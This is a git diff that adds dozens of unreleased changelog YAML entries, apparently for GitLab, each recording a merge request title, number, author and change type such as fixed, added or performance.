diff --git a/changelogs/unreleased/290962-rename-event-to-action-in-haml-snowplow-helper.yml b/changelogs/unreleased/290962-rename-event-to-action-in-haml-snowplow-helper.yml
new file mode 100644
index 00000000000..a917ead8bd6
--- /dev/null
+++ b/changelogs/unreleased/290962-rename-event-to-action-in-haml-snowplow-helper.yml
@@ -0,0 +1,5 @@
+---
+title: Rename event to action in Snowplow helpers and FE event handlers
+merge_request: 55698
+author:
+type: deprecated
diff --git a/changelogs/unreleased/291012-mark-mr-as-preparing.yml b/changelogs/unreleased/291012-mark-mr-as-preparing.yml
new file mode 100644
index 00000000000..7cf582609f1
--- /dev/null
+++ b/changelogs/unreleased/291012-mark-mr-as-preparing.yml
@@ -0,0 +1,5 @@
+---
+title: Mark merge request as preparing on create
+merge_request: 56086
+author:
+type: other
diff --git a/changelogs/unreleased/292253-track-epic-note-created.yml b/changelogs/unreleased/292253-track-epic-note-created.yml
new file mode 100644
index 00000000000..b050784589c
--- /dev/null
+++ b/changelogs/unreleased/292253-track-epic-note-created.yml
@@ -0,0 +1,5 @@
+---
+title: Track epic note created via usage ping
+merge_request: 56609
+author:
+type: other
diff --git a/changelogs/unreleased/292435_unescape_trucated_search_result.yml b/changelogs/unreleased/292435_unescape_trucated_search_result.yml
new file mode 100644
index 00000000000..40231676737
--- /dev/null
+++ b/changelogs/unreleased/292435_unescape_trucated_search_result.yml
@@ -0,0 +1,5 @@
+---
+title: Remove markdown from comment search result
+merge_request: 55255
+author:
+type: other
diff --git a/changelogs/unreleased/292698-save-usage_data_id-raw_data_id-we-receive-from-versions-in-raw_usa.yml b/changelogs/unreleased/292698-save-usage_data_id-raw_data_id-we-receive-from-versions-in-raw_usa.yml
new file mode 100644
index 00000000000..8e978beaf90
--- /dev/null
+++ b/changelogs/unreleased/292698-save-usage_data_id-raw_data_id-we-receive-from-versions-in-raw_usa.yml
@@ -0,0 +1,5 @@
+---
+title: Save usage_data_id from versions app in raw_usage_data
+merge_request: 54738
+author:
+type: added
diff --git a/changelogs/unreleased/293953_inherit_default_branch_name_for_subgroups.yml b/changelogs/unreleased/293953_inherit_default_branch_name_for_subgroups.yml
new file mode 100644
index 00000000000..cbb9c3a2744
--- /dev/null
+++ b/changelogs/unreleased/293953_inherit_default_branch_name_for_subgroups.yml
@@ -0,0 +1,5 @@
+---
+title: Inherit default branch name for subgroups
+merge_request: 57101
+author:
+type: fixed
diff --git a/changelogs/unreleased/294025-rollout-search-settings.yml b/changelogs/unreleased/294025-rollout-search-settings.yml
new file mode 100644
index 00000000000..8ffeb75efa6
--- /dev/null
+++ b/changelogs/unreleased/294025-rollout-search-settings.yml
@@ -0,0 +1,5 @@
+---
+title: Add in-page search for all settings pages
+merge_request: 56659
+author:
+type: added
diff --git a/changelogs/unreleased/294246-replace-runner-status-icons-with-svgs.yml b/changelogs/unreleased/294246-replace-runner-status-icons-with-svgs.yml
new file mode 100644
index 00000000000..5b75e6e9015
--- /dev/null
+++ b/changelogs/unreleased/294246-replace-runner-status-icons-with-svgs.yml
@@ -0,0 +1,6 @@
+---
+title: Improve runners status icon usability and accessibility in the project settings
+ view
+merge_request: 58781
+author:
+type: changed
diff --git a/changelogs/unreleased/295187-roll-out-pages_migration_mark_as_not_deployed-feature-flag.yml b/changelogs/unreleased/295187-roll-out-pages_migration_mark_as_not_deployed-feature-flag.yml
new file mode 100644
index 00000000000..8f409944ee5
--- /dev/null
+++ b/changelogs/unreleased/295187-roll-out-pages_migration_mark_as_not_deployed-feature-flag.yml
@@ -0,0 +1,6 @@
+---
+title: Allow users to mark pages projects as not deployed during migration to zip
+ storage
+merge_request: 55862
+author:
+type: added
diff --git a/changelogs/unreleased/29572-move-project-hooks-routes.yml b/changelogs/unreleased/29572-move-project-hooks-routes.yml
new file mode 100644
index 00000000000..5500149b1c1
--- /dev/null
+++ b/changelogs/unreleased/29572-move-project-hooks-routes.yml
@@ -0,0 +1,5 @@
+---
+title: Move project hooks routes under /-/ scope
+merge_request: 57734
+author:
+type: performance
diff --git a/changelogs/unreleased/296882-standalone-shard-replica-settings.yml b/changelogs/unreleased/296882-standalone-shard-replica-settings.yml
new file mode 100644
index 00000000000..f087684a626
--- /dev/null
+++ b/changelogs/unreleased/296882-standalone-shard-replica-settings.yml
@@ -0,0 +1,5 @@
+---
+title: Allow setting the shard/replica separately for standalone indexes
+merge_request: 56344
+author:
+type: changed
diff --git a/changelogs/unreleased/296888-resolve-conflicts-popover-does-not-show.yml b/changelogs/unreleased/296888-resolve-conflicts-popover-does-not-show.yml
new file mode 100644
index 00000000000..4ee615c3a42
--- /dev/null
+++ b/changelogs/unreleased/296888-resolve-conflicts-popover-does-not-show.yml
@@ -0,0 +1,5 @@
+---
+title: Hide "Resolve conflicts" button when source branch is protected.
+merge_request: 51121
+author: Marcin Majkowski @marcinmajkowski
+type: added
diff --git a/changelogs/unreleased/297240-remove-skip_dag_manual_and_delayed_jobs.yml b/changelogs/unreleased/297240-remove-skip_dag_manual_and_delayed_jobs.yml
new file mode 100644
index 00000000000..6decd45cd26
--- /dev/null
+++ b/changelogs/unreleased/297240-remove-skip_dag_manual_and_delayed_jobs.yml
@@ -0,0 +1,5 @@
+---
+title: Remove the FF skip_dag_manual_and_delayed_jobs
+merge_request: 57086
+author:
+type: other
diff --git a/changelogs/unreleased/297267-clarify-the-impact-od-selecting-incidents-in-new-issue-form.yml b/changelogs/unreleased/297267-clarify-the-impact-od-selecting-incidents-in-new-issue-form.yml
new file mode 100644
index 00000000000..e1cf8e50f92
--- /dev/null
+++ b/changelogs/unreleased/297267-clarify-the-impact-od-selecting-incidents-in-new-issue-form.yml
@@ -0,0 +1,5 @@
+---
+title: Clarify the impact of selecting incidents in the new issue form
+merge_request: 57373
+author:
+type: added
diff --git a/changelogs/unreleased/297288-add-indeni-cloudrail-template-clean.yml b/changelogs/unreleased/297288-add-indeni-cloudrail-template-clean.yml
new file mode 100644
index 00000000000..960da31cd6d
--- /dev/null
+++ b/changelogs/unreleased/297288-add-indeni-cloudrail-template-clean.yml
@@ -0,0 +1,5 @@
+---
+title: Add a template for using Indeni Cloudrail in GitLab
+merge_request: 57919
+author:
+type: other
diff --git a/changelogs/unreleased/298854-gitlab-returns-error-500-when-visiting-admin-area-settings-integra.yml b/changelogs/unreleased/298854-gitlab-returns-error-500-when-visiting-admin-area-settings-integra.yml
new file mode 100644
index 00000000000..a49eb6f1c3e
--- /dev/null
+++ b/changelogs/unreleased/298854-gitlab-returns-error-500-when-visiting-admin-area-settings-integra.yml
@@ -0,0 +1,5 @@
+---
+title: Hide project-specific views on group / instance level integrations
+merge_request: 57381
+author:
+type: fixed
diff --git a/changelogs/unreleased/299178-follow-up-from-cached-sidebar-issues-count-in-group-sidebar.yml b/changelogs/unreleased/299178-follow-up-from-cached-sidebar-issues-count-in-group-sidebar.yml
new file mode 100644
index 00000000000..d0acbc372d6
--- /dev/null
+++ b/changelogs/unreleased/299178-follow-up-from-cached-sidebar-issues-count-in-group-sidebar.yml
@@ -0,0 +1,5 @@
+---
+title: Cache open merge requests count in group sidebar
+merge_request: 55971
+author:
+type: performance
diff --git a/changelogs/unreleased/299330-limit-license-file-icon.yml b/changelogs/unreleased/299330-limit-license-file-icon.yml
new file mode 100644
index 00000000000..a27479db083
--- /dev/null
+++ b/changelogs/unreleased/299330-limit-license-file-icon.yml
@@ -0,0 +1,5 @@
+---
+title: Partially fix incorrect icons for non-standard license files
+merge_request: 53207
+author:
+type: fixed
diff --git a/changelogs/unreleased/299346-convert-dropdown-on-commit-page-to-vue.yml b/changelogs/unreleased/299346-convert-dropdown-on-commit-page-to-vue.yml
new file mode 100644
index 00000000000..59abd51974e
--- /dev/null
+++ b/changelogs/unreleased/299346-convert-dropdown-on-commit-page-to-vue.yml
@@ -0,0 +1,5 @@
+---
+title: Convert Commit dropdown to Vue
+merge_request: 56142
+author:
+type: other
diff --git a/changelogs/unreleased/299685-fix-packages-build-info-when-pushed-with-job-token.yml b/changelogs/unreleased/299685-fix-packages-build-info-when-pushed-with-job-token.yml
new file mode 100644
index 00000000000..ed5d82251de
--- /dev/null
+++ b/changelogs/unreleased/299685-fix-packages-build-info-when-pushed-with-job-token.yml
@@ -0,0 +1,5 @@
+---
+title: Fix `#current_authenticated_job` when used with `.authenticate_with` in Grape APIs
+merge_request: 56564
+author:
+type: fixed
diff --git a/changelogs/unreleased/299895-experiment-cleanup-customize_homepage-banner-2.yml b/changelogs/unreleased/299895-experiment-cleanup-customize_homepage-banner-2.yml
new file mode 100644
index 00000000000..17d4d90a8df
--- /dev/null
+++ b/changelogs/unreleased/299895-experiment-cleanup-customize_homepage-banner-2.yml
@@ -0,0 +1,5 @@
+---
+title: Remove feature flag for customize homepage banner
+merge_request: 57147
+author:
+type: other
diff --git a/changelogs/unreleased/300021-rollout-serving-migrated-data-feature-flag-pages_serve_from_migrat.yml b/changelogs/unreleased/300021-rollout-serving-migrated-data-feature-flag-pages_serve_from_migrat.yml
new file mode 100644
index 00000000000..ccf19216909
--- /dev/null
+++ b/changelogs/unreleased/300021-rollout-serving-migrated-data-feature-flag-pages_serve_from_migrat.yml
@@ -0,0 +1,5 @@
+---
+title: Remove pages_serve_from_migrated_zip feature flag
+merge_request: 59002
+author:
+type: added
diff --git a/changelogs/unreleased/300115-deprecate-issue-filter-asignee-username.yml b/changelogs/unreleased/300115-deprecate-issue-filter-asignee-username.yml
new file mode 100644
index 00000000000..9c92e39081f
--- /dev/null
+++ b/changelogs/unreleased/300115-deprecate-issue-filter-asignee-username.yml
@@ -0,0 +1,5 @@
+---
+title: Deprecate assigneeUsername issue filter in GraphQL
+merge_request: 59538
+author:
+type: deprecated
diff --git a/changelogs/unreleased/300115-support-negated-issue-filters-gql.yml b/changelogs/unreleased/300115-support-negated-issue-filters-gql.yml
new file mode 100644
index 00000000000..356a5aed1c3
--- /dev/null
+++ b/changelogs/unreleased/300115-support-negated-issue-filters-gql.yml
@@ -0,0 +1,5 @@
+---
+title: Support negated filtering of issues by iids, label_name, milestone_title, assignee_usernames and assignee_id in GraphQL
+merge_request: 58154
+author:
+type: added
diff --git a/changelogs/unreleased/300121-fix-jenkins-ce.yml b/changelogs/unreleased/300121-fix-jenkins-ce.yml
new file mode 100644
index 00000000000..03a7efce5fb
--- /dev/null
+++ b/changelogs/unreleased/300121-fix-jenkins-ce.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Jenkins integration for GitLab FOSS
+merge_request: 59476
+author:
+type: fixed
diff --git a/changelogs/unreleased/300377-traversal-ids-column-sync.yml b/changelogs/unreleased/300377-traversal-ids-column-sync.yml
new file mode 100644
index 00000000000..123f81238fd
--- /dev/null
+++ b/changelogs/unreleased/300377-traversal-ids-column-sync.yml
@@ -0,0 +1,5 @@
+---
+title: Cache namespace traversal path
+merge_request: 52854
+author:
+type: performance
diff --git a/changelogs/unreleased/300403-replace-commit-box-minipipeline-default-true.yml b/changelogs/unreleased/300403-replace-commit-box-minipipeline-default-true.yml
new file mode 100644
index 00000000000..084cc49635b
--- /dev/null
+++ b/changelogs/unreleased/300403-replace-commit-box-minipipeline-default-true.yml
@@ -0,0 +1,5 @@
+---
+title: Center the pipeline stages dropdown in the commit details page
+merge_request: 56505
+author:
+type: changed
diff --git a/changelogs/unreleased/300403-replace-commit-box-minipipeline-remove-ff.yml b/changelogs/unreleased/300403-replace-commit-box-minipipeline-remove-ff.yml
new file mode 100644
index 00000000000..da7a5514d2d
--- /dev/null
+++ b/changelogs/unreleased/300403-replace-commit-box-minipipeline-remove-ff.yml
@@ -0,0 +1,6 @@
+---
+title: Update mini pipeline appearance in commit page to match other mini pipelines
+ in the application
+merge_request: 56510
+author:
+type: changed
diff --git a/changelogs/unreleased/300567-okr-integrations-asana-review-and-revise-settings-related-ui-text.yml b/changelogs/unreleased/300567-okr-integrations-asana-review-and-revise-settings-related-ui-text.yml
new file mode 100644
index 00000000000..536f23bee35
--- /dev/null
+++ b/changelogs/unreleased/300567-okr-integrations-asana-review-and-revise-settings-related-ui-text.yml
@@ -0,0 +1,5 @@
+---
+title: Review and revise Integrations/Asana UI text
+merge_request: 57362
+author:
+type: other
diff --git a/changelogs/unreleased/300638-okr-pages-top-level-page-review-and-revise-settings-related-ui-tex.yml b/changelogs/unreleased/300638-okr-pages-top-level-page-review-and-revise-settings-related-ui-tex.yml
new file mode 100644
index 00000000000..19567ba2988
--- /dev/null
+++ b/changelogs/unreleased/300638-okr-pages-top-level-page-review-and-revise-settings-related-ui-tex.yml
@@ -0,0 +1,5 @@
+---
+title: Review and revise Pages settings-related UI text
+merge_request: 58479
+author:
+type: other
diff --git a/changelogs/unreleased/300827-integration-form-cleanup-part-3.yml b/changelogs/unreleased/300827-integration-form-cleanup-part-3.yml
new file mode 100644
index 00000000000..e202729f4ad
--- /dev/null
+++ b/changelogs/unreleased/300827-integration-form-cleanup-part-3.yml
@@ -0,0 +1,5 @@
+---
+title: Alerts integration form UX cleanup
+merge_request: 55892
+author:
+type: changed
diff --git a/changelogs/unreleased/300884-fix-push-mirror-failures.yml b/changelogs/unreleased/300884-fix-push-mirror-failures.yml
new file mode 100644
index 00000000000..ac772a96887
--- /dev/null
+++ b/changelogs/unreleased/300884-fix-push-mirror-failures.yml
@@ -0,0 +1,5 @@
+---
+title: A blocked URL for a push mirror is a hard failure
+merge_request: 57392
+author:
+type: fixed
diff --git a/changelogs/unreleased/301142-replace-namespace-self_and_descendants-with-linear-version.yml b/changelogs/unreleased/301142-replace-namespace-self_and_descendants-with-linear-version.yml
new file mode 100644
index 00000000000..30381367576
--- /dev/null
+++ b/changelogs/unreleased/301142-replace-namespace-self_and_descendants-with-linear-version.yml
@@ -0,0 +1,5 @@
+---
+title: Linear version of Namespace#self_and_descendants
+merge_request: 56296
+author:
+type: performance
diff --git a/changelogs/unreleased/301159-add-local-storage.yml b/changelogs/unreleased/301159-add-local-storage.yml
new file mode 100644
index 00000000000..23a83cbe906
--- /dev/null
+++ b/changelogs/unreleased/301159-add-local-storage.yml
@@ -0,0 +1,5 @@
+---
+title: Added local_store to Pages settings in gitlab.yml file
+merge_request: 55470
+author:
+type: added
diff --git a/changelogs/unreleased/301175-gemfile-extraction-service.yml b/changelogs/unreleased/301175-gemfile-extraction-service.yml
new file mode 100644
index 00000000000..143fe565dbb
--- /dev/null
+++ b/changelogs/unreleased/301175-gemfile-extraction-service.yml
@@ -0,0 +1,5 @@
+---
+title: Update RubyGems metadata constraints and add gem metadata extraction
+merge_request: 53673
+author:
+type: changed
diff --git a/changelogs/unreleased/301246-graph-spacing.yml b/changelogs/unreleased/301246-graph-spacing.yml
new file mode 100644
index 00000000000..1d3be76b805
--- /dev/null
+++ b/changelogs/unreleased/301246-graph-spacing.yml
@@ -0,0 +1,5 @@
+---
+title: Add space to graph in contributor page
+merge_request: 54431
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/31063-ensure-diff-collection-limits-are-configurable.yml b/changelogs/unreleased/31063-ensure-diff-collection-limits-are-configurable.yml
new file mode 100644
index 00000000000..9e8918810c4
--- /dev/null
+++ b/changelogs/unreleased/31063-ensure-diff-collection-limits-are-configurable.yml
@@ -0,0 +1,5 @@
+---
+title: Track the different overflows for diff collections
+merge_request: 57790
+author:
+type: other
diff --git a/changelogs/unreleased/31343-remove-remaining-unnecessary-use-of-freeze.yml b/changelogs/unreleased/31343-remove-remaining-unnecessary-use-of-freeze.yml
new file mode 100644
index 00000000000..7885caf1a4f
--- /dev/null
+++ b/changelogs/unreleased/31343-remove-remaining-unnecessary-use-of-freeze.yml
@@ -0,0 +1,5 @@
+---
+title: Enable RedundantFreeze Cop and Remove Remaining Offenses
+merge_request: 57288
+author: Lee Tickett @leetickett
+type: other
diff --git a/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze.yml b/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze.yml
new file mode 100644
index 00000000000..1eac2bd442b
--- /dev/null
+++ b/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze.yml
@@ -0,0 +1,5 @@
+---
+title: Remove unnecessary use of freeze
+merge_request: 57056
+author: Lee Tickett @leetickett
+type: other
diff --git a/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze2.yml b/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze2.yml
new file mode 100644
index 00000000000..9fc55ed3204
--- /dev/null
+++ b/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze2.yml
@@ -0,0 +1,5 @@
+---
+title: Remove unnecessary use of freeze
+merge_request: 57057
+author: Lee Tickett @leetickett
+type: other
diff --git a/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze3.yml b/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze3.yml
new file mode 100644
index 00000000000..5b11e74e773
--- /dev/null
+++ b/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze3.yml
@@ -0,0 +1,5 @@
+---
+title: Remove unnecessary use of freeze
+merge_request: 57058
+author: Lee Tickett @leetickett
+type: other
diff --git a/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze4.yml b/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze4.yml
new file mode 100644
index 00000000000..22e685729e3
--- /dev/null
+++ b/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze4.yml
@@ -0,0 +1,5 @@
+---
+title: Remove unnecessary use of freeze
+merge_request: 57059
+author: Lee Tickett @leetickett
+type: other
diff --git a/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze5.yml b/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze5.yml
new file mode 100644
index 00000000000..15018468964
--- /dev/null
+++ b/changelogs/unreleased/31343-remove-unnecessary-use-of-freeze5.yml
@@ -0,0 +1,5 @@
+---
+title: Remove unnecessary use of freeze
+merge_request: 57060
+author: Lee Tickett @leetickett
+type: other
diff --git a/changelogs/unreleased/320755-remove-batch_suggestions-feature-flag.yml b/changelogs/unreleased/320755-remove-batch_suggestions-feature-flag.yml
new file mode 100644
index 00000000000..523163a3cef
--- /dev/null
+++ b/changelogs/unreleased/320755-remove-batch_suggestions-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Remove batch_suggestions feature flag
+merge_request: 57745
+author:
+type: other
diff --git a/changelogs/unreleased/320756-remove-remove_resolve_note-feature-flag.yml b/changelogs/unreleased/320756-remove-remove_resolve_note-feature-flag.yml
new file mode 100644
index 00000000000..32e87c2f845
--- /dev/null
+++ b/changelogs/unreleased/320756-remove-remove_resolve_note-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Remove remove_resolve_note feature flag
+merge_request: 57757
+author:
+type: other
diff --git a/changelogs/unreleased/321027-remove-ci_trigger_payload_into_pipeline.yml b/changelogs/unreleased/321027-remove-ci_trigger_payload_into_pipeline.yml
new file mode 100644
index 00000000000..e33c9306f28
--- /dev/null
+++ b/changelogs/unreleased/321027-remove-ci_trigger_payload_into_pipeline.yml
@@ -0,0 +1,5 @@
+---
+title: Remove the FF ci_trigger_payload_into_pipeline
+merge_request: 57087
+author:
+type: other
diff --git a/changelogs/unreleased/321099-word-breaks-in-parallel-mode-could-confuse-reviewers.yml b/changelogs/unreleased/321099-word-breaks-in-parallel-mode-could-confuse-reviewers.yml
new file mode 100644
index 00000000000..19ac67dac8d
--- /dev/null
+++ b/changelogs/unreleased/321099-word-breaks-in-parallel-mode-could-confuse-reviewers.yml
@@ -0,0 +1,5 @@
+---
+title: Fix word wrapping in parallel diffs
+merge_request: 56713
+author:
+type: fixed
diff --git a/changelogs/unreleased/321100-centralize-invalid-ci-state-in-authoring-section.yml b/changelogs/unreleased/321100-centralize-invalid-ci-state-in-authoring-section.yml
new file mode 100644
index 00000000000..610532fc194
--- /dev/null
+++ b/changelogs/unreleased/321100-centralize-invalid-ci-state-in-authoring-section.yml
@@ -0,0 +1,5 @@
+---
+title: Centralize shared state in Authoring section
+merge_request: 58790
+author:
+type: changed
diff --git a/changelogs/unreleased/321441-gitlab-connect-application-namespace-list-polish.yml b/changelogs/unreleased/321441-gitlab-connect-application-namespace-list-polish.yml
new file mode 100644
index 00000000000..0ca8240b626
--- /dev/null
+++ b/changelogs/unreleased/321441-gitlab-connect-application-namespace-list-polish.yml
@@ -0,0 +1,5 @@
+---
+title: Update Jira subscriptions list to use Vue
+merge_request: 57561
+author:
+type: changed
diff --git a/changelogs/unreleased/321518-pipeline_status_for_pipeline_editor.yml b/changelogs/unreleased/321518-pipeline_status_for_pipeline_editor.yml
new file mode 100644
index 00000000000..cb2ebf82d30
--- /dev/null
+++ b/changelogs/unreleased/321518-pipeline_status_for_pipeline_editor.yml
@@ -0,0 +1,5 @@
+---
+title: Enable pipeline_status_for_pipeline_editor by default
+merge_request: 59495
+author:
+type: added
diff --git a/changelogs/unreleased/321662-validate_not_null_constraint_on_gitlab_subscriptions_namespace_id.yml b/changelogs/unreleased/321662-validate_not_null_constraint_on_gitlab_subscriptions_namespace_id.yml
new file mode 100644
index 00000000000..780c7849eb1
--- /dev/null
+++ b/changelogs/unreleased/321662-validate_not_null_constraint_on_gitlab_subscriptions_namespace_id.yml
@@ -0,0 +1,5 @@
+---
+title: Validate NOT NULL constraint on gitlab_subscriptions namespace_id
+merge_request: 57113
+author:
+type: other
diff --git a/changelogs/unreleased/321674-allow-to-filter-alert-management-integrations-by-id-take-2.yml b/changelogs/unreleased/321674-allow-to-filter-alert-management-integrations-by-id-take-2.yml
new file mode 100644
index 00000000000..568bce470d9
--- /dev/null
+++ b/changelogs/unreleased/321674-allow-to-filter-alert-management-integrations-by-id-take-2.yml
@@ -0,0 +1,6 @@
+---
+title: Allow filtering GraphQL alertManagementIntegrations and alertManagementHttpIntegrations
+ by ID
+merge_request: 57590
+author:
+type: added
diff --git a/changelogs/unreleased/321788-drop-unused-preload.yml b/changelogs/unreleased/321788-drop-unused-preload.yml
new file mode 100644
index 00000000000..9d3590ecf42
--- /dev/null
+++ b/changelogs/unreleased/321788-drop-unused-preload.yml
@@ -0,0 +1,5 @@
+---
+title: Drop unused preload from PipelineSerializer
+merge_request: 56988
+author:
+type: performance
diff --git a/changelogs/unreleased/321891-change-alert-status.yml b/changelogs/unreleased/321891-change-alert-status.yml
new file mode 100644
index 00000000000..906bc9bf151
--- /dev/null
+++ b/changelogs/unreleased/321891-change-alert-status.yml
@@ -0,0 +1,5 @@
+---
+title: Generalize alert details status
+merge_request: 56800
+author:
+type: added
diff --git a/changelogs/unreleased/322001-poc-for-migrating-pages-to-zip-storage-in-the-background.yml b/changelogs/unreleased/322001-poc-for-migrating-pages-to-zip-storage-in-the-background.yml
new file mode 100644
index 00000000000..cfa15a3319f
--- /dev/null
+++ b/changelogs/unreleased/322001-poc-for-migrating-pages-to-zip-storage-in-the-background.yml
@@ -0,0 +1,5 @@
+---
+title: Automatically try to migrate gitlab pages to zip storage
+merge_request: 54578
+author:
+type: added
diff --git a/changelogs/unreleased/322043-insert-plan-trial.yml b/changelogs/unreleased/322043-insert-plan-trial.yml
new file mode 100644
index 00000000000..a65860a5f85
--- /dev/null
+++ b/changelogs/unreleased/322043-insert-plan-trial.yml
@@ -0,0 +1,5 @@
+---
+title: Add a migration to insert trail plans within SAAS for Ultimate and Premium plans
+merge_request: 57814
+author:
+type: added
diff --git a/changelogs/unreleased/322109-add-assignees-widget-to-issue-and-merge-request-sidebar.yml b/changelogs/unreleased/322109-add-assignees-widget-to-issue-and-merge-request-sidebar.yml
new file mode 100644
index 00000000000..02dd97b1775
--- /dev/null
+++ b/changelogs/unreleased/322109-add-assignees-widget-to-issue-and-merge-request-sidebar.yml
@@ -0,0 +1,5 @@
+---
+title: Assignee dropdown in issue page displays only participants by default
+merge_request: 56742
+author:
+type: changed
diff --git a/changelogs/unreleased/322128-update-token-used-field.yml b/changelogs/unreleased/322128-update-token-used-field.yml
new file mode 100644
index 00000000000..133b0f8d0e4
--- /dev/null
+++ b/changelogs/unreleased/322128-update-token-used-field.yml
@@ -0,0 +1,5 @@
+---
+title: Track agent token last_used
+merge_request: 56143
+author:
+type: added
diff --git a/changelogs/unreleased/322449-write-description.yml b/changelogs/unreleased/322449-write-description.yml
new file mode 100644
index 00000000000..5c709a2a119
--- /dev/null
+++ b/changelogs/unreleased/322449-write-description.yml
@@ -0,0 +1,5 @@
+---
+title: Update New Issue form description copy from 'wite a comment' to 'wite a description'
+merge_request: 58068
+author:
+type: changed
diff --git a/changelogs/unreleased/322592-clean-up-a-token_with_ivs-table.yml b/changelogs/unreleased/322592-clean-up-a-token_with_ivs-table.yml
new file mode 100644
index 00000000000..962d42cb36d
--- /dev/null
+++ b/changelogs/unreleased/322592-clean-up-a-token_with_ivs-table.yml
@@ -0,0 +1,6 @@
+---
+title: Remove referencing TokenWithIv model in the codebase and dynamic nonce creation
+ feature flag
+merge_request: 55209
+author:
+type: changed
diff --git a/changelogs/unreleased/322745-validate-null-constraint.yml b/changelogs/unreleased/322745-validate-null-constraint.yml
new file mode 100644
index 00000000000..432f605b54e
--- /dev/null
+++ b/changelogs/unreleased/322745-validate-null-constraint.yml
@@ -0,0 +1,5 @@
+---
+title: Validate null constraint for cluster token name
+merge_request: 56868
+author:
+type: changed
diff --git a/changelogs/unreleased/322792-switch-branch-of-shorter-name.yml b/changelogs/unreleased/322792-switch-branch-of-shorter-name.yml
new file mode 100644
index 00000000000..f9eddc86b8c
--- /dev/null
+++ b/changelogs/unreleased/322792-switch-branch-of-shorter-name.yml
@@ -0,0 +1,5 @@
+---
+title: Fix branch switch to be exact instead of partial match
+merge_request: 57197
+author:
+type: fixed
diff --git a/changelogs/unreleased/322879-change-assignee-dropdown-invite-to-utilize-invite-modal.yml b/changelogs/unreleased/322879-change-assignee-dropdown-invite-to-utilize-invite-modal.yml
new file mode 100644
index 00000000000..4e478a88f15
--- /dev/null
+++ b/changelogs/unreleased/322879-change-assignee-dropdown-invite-to-utilize-invite-modal.yml
@@ -0,0 +1,5 @@
+---
+title: Change assignee dropdown invite to utilize invite modal
+merge_request: 57002
+author:
+type: changed
diff --git a/changelogs/unreleased/322980-fix-sign-out-on-error-pages.yml b/changelogs/unreleased/322980-fix-sign-out-on-error-pages.yml
new file mode 100644
index 00000000000..bb0a60d00de
--- /dev/null
+++ b/changelogs/unreleased/322980-fix-sign-out-on-error-pages.yml
@@ -0,0 +1,5 @@
+---
+title: Fix sign out button in error pages
+merge_request: 59030
+author:
+type: fixed
diff --git a/changelogs/unreleased/323078-combine-concepts-in-inviting-member-service-classes-3.yml b/changelogs/unreleased/323078-combine-concepts-in-inviting-member-service-classes-3.yml
new file mode 100644
index 00000000000..246477a1e6e
--- /dev/null
+++ b/changelogs/unreleased/323078-combine-concepts-in-inviting-member-service-classes-3.yml
@@ -0,0 +1,5 @@
+---
+title: Add enqueueing of Onboarding Progress to the Invite Service
+merge_request: 57372
+author:
+type: other
diff --git a/changelogs/unreleased/323078-combine-concepts-in-inviting-member-service-classes-5.yml b/changelogs/unreleased/323078-combine-concepts-in-inviting-member-service-classes-5.yml
new file mode 100644
index 00000000000..54cf0ea6265
--- /dev/null
+++ b/changelogs/unreleased/323078-combine-concepts-in-inviting-member-service-classes-5.yml
@@ -0,0 +1,5 @@
+---
+title: Refactor member/invitation services to share common code
+merge_request: 57618
+author:
+type: other
diff --git a/changelogs/unreleased/323195-make-blob-info-available-through-graphql.yml b/changelogs/unreleased/323195-make-blob-info-available-through-graphql.yml
new file mode 100644
index 00000000000..e4b6e55bb11
--- /dev/null
+++ b/changelogs/unreleased/323195-make-blob-info-available-through-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Make blobs directly accessible through the graphql repository
+merge_request: 58677
+author:
+type: added
diff --git a/changelogs/unreleased/323246-registration-learn-gitlab-template-project-with-incorrect-onboardi.yml b/changelogs/unreleased/323246-registration-learn-gitlab-template-project-with-incorrect-onboardi.yml
new file mode 100644
index 00000000000..80238fd69ed
--- /dev/null
+++ b/changelogs/unreleased/323246-registration-learn-gitlab-template-project-with-incorrect-onboardi.yml
@@ -0,0 +1,5 @@
+---
+title: Update learn gitlab template for new registrations
+merge_request: 57098
+author:
+type: changed
diff --git a/changelogs/unreleased/323431_enable_allow_force_push_to_protected_branches_ff.yml b/changelogs/unreleased/323431_enable_allow_force_push_to_protected_branches_ff.yml
new file mode 100644
index 00000000000..dcd806936e7
--- /dev/null
+++ b/changelogs/unreleased/323431_enable_allow_force_push_to_protected_branches_ff.yml
@@ -0,0 +1,5 @@
+---
+title: Allow users to enable force push to protected branches
+merge_request: 57053
+author:
+type: added
diff --git a/changelogs/unreleased/323433-add-includeancestors-to-group-milestones-graphql.yml b/changelogs/unreleased/323433-add-includeancestors-to-group-milestones-graphql.yml
new file mode 100644
index 00000000000..56cd6538bc6
--- /dev/null
+++ b/changelogs/unreleased/323433-add-includeancestors-to-group-milestones-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Support include_ancestors when querying group milestones via GraphQL
+merge_request: 56667
+author:
+type: added
diff --git a/changelogs/unreleased/323483-skip-link-remove-tabindex.yml b/changelogs/unreleased/323483-skip-link-remove-tabindex.yml
new file mode 100644
index 00000000000..27caa9f9920
--- /dev/null
+++ b/changelogs/unreleased/323483-skip-link-remove-tabindex.yml
@@ -0,0 +1,6 @@
+---
+title: Remove tabindex on skip link that could negatively impact keyboard focus management
+ and order
+merge_request: 55756
+author:
+type: other
diff --git a/changelogs/unreleased/323493-remove-ff-cached-sidebar-open-issues-count.yml b/changelogs/unreleased/323493-remove-ff-cached-sidebar-open-issues-count.yml
new file mode 100644
index 00000000000..8485247f774
--- /dev/null
+++ b/changelogs/unreleased/323493-remove-ff-cached-sidebar-open-issues-count.yml
@@ -0,0 +1,5 @@
+---
+title: Cache issues count in sidebar at group level
+merge_request: 59004
+author:
+type: performance
